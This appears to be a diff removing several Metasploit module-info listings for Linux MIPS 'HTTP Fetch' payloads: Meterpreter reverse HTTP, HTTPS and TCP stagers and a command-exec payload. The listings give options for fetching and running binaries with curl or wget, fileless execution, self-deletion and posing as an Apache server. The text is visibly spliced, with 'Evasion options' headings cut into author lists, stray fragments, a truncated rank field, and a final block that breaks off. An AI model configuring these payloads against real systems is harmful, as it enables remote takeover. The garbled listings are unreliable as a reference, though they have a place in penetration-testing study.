Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mips64/meterpreter_reverse_https
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
B
|
|
||||||
Evasion options for payload/cmd/linux/http/mips64/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8443 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME nqGcBdJTD no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute a MIPS64 payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,97 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mips64/meterpreter_reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 108
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Adam Cammack <adam_cammack@rapid7.com>
|
|
||||||
Brent Cook <brent_cook@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME qPigzETmWu no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute a MIPS64 payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Linux Execute Command
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/exec
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Brendan Watters
|
|
||||||
Spencer McIntyre
|
|
||||||
Michael Messner <devnull@s3cur1ty.de>
|
|
||||||
entropy <entropy@phiral.net>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CMD yes The command string to execute
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST yes Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME liEefdOwA no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
|
|
||||||
A very small shellcode for executing commands.
|
|
||||||
This module is sometimes helpful for testing purposes.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/meterpreter/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 105
|
|
||||||
Rank: Norm
|
|
||||||
Evasion options for payload/cmd/linux/http/mipsbe/meterpreter/reverse_tcp:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
juan vazquez <juan.vazquez@metasploit.com>
|
|
||||||
tkmru
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME EjqTwHWHT no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/meterpreter_reverse_http
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 111
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
|
|
||||||
Evasion options for payload/cmd/linux/http/mipsbe/meterpreter_reverse_http:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
ok@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The local listener hostname
|
|
||||||
LPORT 8080 yes The local listener port
|
|
||||||
LURI no The HTTP Path
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME OJApyhagJby no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an MIPSBE payload from an HTTP server.
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
||||||
EXE::OldMethod false no Set to use the substitution EXE generation method.
|
|
||||||
EXE::Path no The directory in which to look for the executable template
|
|
||||||
EXE::Template no The executable template file name.
|
|
||||||
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
|
|
||||||
FetchHandlerDisable false yes Disable fetch handler
|
|
||||||
FetchHttpServerName Apache yes Fetch HTTP server name
|
|
||||||
FetchListenerBindAddress no The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST
|
|
||||||
FetchListenerBindPort no The port to bind to if different from FETCH_SRVPORT
|
|
||||||
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
|
|
||||||
HttpServerName Apache no The server header that the handler will send in response to requests
|
|
||||||
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
|
|
||||||
HttpUserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 no The user-agent that the payload should use for communication Max parameter length: 255 characters
|
|
||||||
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
MSI::Custom no Use custom msi instead of automatically generating a payload msi
|
|
||||||
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
|
|
||||||
MSI::Path no The directory in which to look for the msi template
|
|
||||||
MSI::Template no The msi template file name
|
|
||||||
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
|
|
||||||
MeterpreterDebugBuild false no Use a debug version of Meterpreter
|
|
||||||
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
|
|
||||||
MeterpreterTryToFork false no Fork a new process if the functionality is available
|
|
||||||
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
|
|
||||||
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
|
|
||||||
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
|
|
||||||
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
|
|
||||||
PayloadProcessCommandLine no The displayed command line that will be used by the payload
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
|
|
||||||
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
|
|
||||||
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
|
|
||||||
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,106 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch
|
|
||||||
Module: payload/cmd/linux/http/mipsbe/meterpreter_reverse_https
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 108
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
B
|
|
||||||
Evasion options for payload/cmd/linux/http/mipsbe/meterpreter_reverse_https:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
@rapid7.com>
|
|
||||||
timwr
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
